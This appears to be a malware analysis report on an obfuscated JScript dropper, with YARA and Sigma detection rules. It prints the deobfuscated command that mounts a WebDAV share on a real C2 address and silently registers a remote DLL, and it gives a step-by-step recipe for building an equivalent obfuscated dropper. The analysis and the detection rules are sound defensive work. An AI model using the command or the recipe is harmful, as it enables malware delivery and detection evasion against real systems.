unclassified-js-webdav-dropper: c4670e86 — 100-entry noise-key dictionary, WebDAV C2 94.159.113.84:8888, payload 22598943117575.dll

Executive Summary

A 255 KB JScript dropper using a 100-entry dictionary lookup-table obfuscation with long random noise keys (15–25 chars) to assemble a WebDAV payload fetch command at runtime. Mounts \\94.159.113.84@8888\davwwwroot\ via net use and silently registers the remote DLL via regsvr32 /s. No sandbox gate, no PowerShell wrapper, no wordpad decoy. Seventy-sixth confirmed sibling in the unclassified-js-webdav-dropper family; second 100-entry dictionary variant observed and first on this C2 IP. Static-only analysis (JScript, not a binary).

What It Is

How It Works

Layer 0 — Dictionary Definition

The entire script is one line. The first ~4,000 characters define a 100-entry object dpnnvyvzadjustment mapping long random noise keys to single ASCII characters (including escape sequences \t, \n, \r, \f, \u000b). ^[strings.txt:1]

Example entries:

• dpnnvyvzadjustment['tqauhdbqsuffer']="$"
• dpnnvyvzadjustment['hmnrbtscolour']="O"
• dpnnvyvzadjustment['tqtgmfire']="0"

Layer 1 — String Assembly via Dictionary Lookups

After the dictionary, the script contains a heavily nested concatenation of dictionary lookups that assembles the payload string character-by-character. The pattern is:

this[dpnnvyvzadjustment['key1']+dpnnvyvzadjustment['key2']+...](...)

Layer 2 — Execution

The resolved outer function is eval. The resolved argument is:

this[WScript][CreateObject](WScript.Shell)[run](
  cmd /c timeout 1&&cmd /c cmd /c net use \\94.159.113.84@8888\davwwwroot\ &&
  timeout 1&&cmd /c cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\22598943117575.dll,
  0,false);

After execution: this[WScript][Quit](); ^[strings.txt:1]

Key behaviors:

• timeout 1 delays before each command (anti-sandbox / evasion hedge)
• net use mounts the WebDAV share without credentials
• regsvr32 /s silently registers the remote DLL (T1218.010)
• Window style 0 (hidden), wait false (non-blocking)

Decompiled Behavior

Not applicable — this is a JScript text file, not a PE binary. No Ghidra/radare2 analysis possible. Static string extraction via strings yields the obfuscated source; the payload is recoverable only by resolving the dictionary lookups. ^[file.txt] ^[rabin2-info.txt]

C2 Infrastructure

Infrastructure note: This is the same C2 IP (94.159.113.84:8888) used by sibling fbdd83ad (66th sibling, payload 317101471316421.dll), confirming a shared distribution node. ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• 100-entry dictionary — ties fbdd83ad for the largest dictionary observed in this family (prior maximum was 62). ^[entities/unclassified-js-webdav-dropper.md]
• No PowerShell wrapper — unlike the cloudslimit.com and dailywebstats.com sub-clusters, the 94.159.113.x subnet siblings (including this sample) consistently omit the PowerShell -EncodedCommand layer, reducing chain length and detection surface.
• No wordpad decoy — the 45.9.74.36:8888 pure-batch sub-cluster almost always launches wordpad as a decoy; this JScript variant does not.
• No sandbox gate — no aspnet_compiler check, no timing loop, no process enumeration. The only anti-analysis is the obfuscation itself.
• Key naming style — the 100 keys are random lowercase noise strings (15–25 chars) with no discernible English morphology, placing this sample in the "random noise key" dialect alongside fbdd83ad, 093a56f6, 0e45e1b2, etc. ^[techniques/js-dictionary-char-lookup-obfuscation.md]
• this[eval] construction — uses bracket notation to reference eval indirectly, avoiding static string matches for the literal eval( pattern.

How To Mess With It (Homelab Replication)

Goal: Reproduce a functionally equivalent JScript WebDAV dropper with dictionary obfuscation.

1. Pick a dictionary size — 36, 62, or 100 entries. Larger dictionaries increase file size but do not change runtime behavior.
2. Generate noise keys — random lowercase strings, 15–25 characters.
3. Map to ASCII — assign one printable character per key.
4. Encode your payload — split the command cmd /c net use \\HOST@PORT\davwwwroot\ && regsvr32 /s \\HOST@PORT\davwwwroot\PAYLOAD.dll into character-by-character dictionary lookups.
5. Wrap in this[...](...) — use this[eval] as the outer executor.
6. Add this[WScript][Quit]() — clean exit.
7. Test — save as .js and execute via wscript.exe in a VM with network isolation.

Verification: The resulting .js should have zero meaningful ASCII strings longer than 2 characters in the raw file, and a strings dump should show only dictionary definitions and concatenation operators.

Deployable Signatures

YARA Rule

rule js_webdav_dropper_dict_100 {
    meta:
        description = "JScript WebDAV dropper with dictionary lookup obfuscation (100-entry variant)"
        author = "PacketPursuit"
        date = "2026-07-18"
        hash = "c4670e866e87f9e7ffb02554d931363f2bab26f4b312383276fb2b869e0ac843"
    strings:
        $dict_obj = /dpnnvyvzadjustment\[\'/i
        $davwwwroot = "davwwwroot" ascii wide
        $net_use = "net use" ascii wide
        $regsvr32 = "regsvr32 /s" ascii wide
        $this_eval = "this[dpnnvyvzadjustment" ascii wide
        $timeout = "timeout 1" ascii wide
    condition:
        filesize > 200KB and filesize < 300KB
        and #dict_obj > 90
        and $davwwwroot
        and $net_use
        and $regsvr32
        and $this_eval
        and $timeout
}

Sigma Rule

title: JScript WebDAV Dropper Execution — Dictionary Variant
description: Detects wscript.exe spawning cmd.exe with net use and regsvr32 arguments pointing to a WebDAV UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\wscript.exe'
        CommandLine|contains|all:
            - 'net use'
            - 'davwwwroot'
            - 'regsvr32'
    condition: selection
falsepositives:
    - Legitimate IT administration scripts using WebDAV (rare)
level: high
tags:
    - attack.execution
    - attack.t1059.005
    - attack.t1218.010
    - attack.t1105

IOC List

Behavioral Fingerprint Statement

This JScript dropper defines a large object (90–100 entries) mapping random noise keys to single ASCII characters, then assembles a hidden command at runtime via bracket-notation this[eval]. The resolved command spawns cmd.exe with timeout 1 delays, mounts a WebDAV share via net use \\94.159.113.84@8888\davwwwroot\, and silently registers a remote DLL via regsvr32 /s. No sandbox gate, no PowerShell wrapper, no persistence mechanism. The file is a single line of obfuscated JavaScript, 255–260 KB, with no meaningful plaintext strings in the raw source.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for the family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation dialect
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• Sibling fbdd83ad — first 100-entry dictionary variant, same C2 IP, different payload ^[/intel/analyses/fbdd83ad649b5e90df9910f67eee3db9502bf63ccc0b958c10d8ade1d839d2f8.html]

Provenance

• file.txt — file utility v5.44, ASCII text, no line terminators ^[file.txt]
• strings.txt — GNU strings default mode, full 255 KB output ^[strings.txt:1]
• exiftool.json — ExifTool v12.76, TXT, MIMEEncoding us-ascii ^[exiftool.json]
• rabin2-info.txt — radare2 v5.9.4, binsz 255681, bits 0 (not a PE) ^[rabin2-info.txt]
• metadata.json — OpenCTI artifact ingestion metadata ^[metadata.json]
• triage.json — triage-fast v1.0, tier=deep, no family attribution ^[triage.json]
• Manual deobfuscation via Python regex substitution (iterative dictionary resolution) — converged in 2 layers to plaintext payload.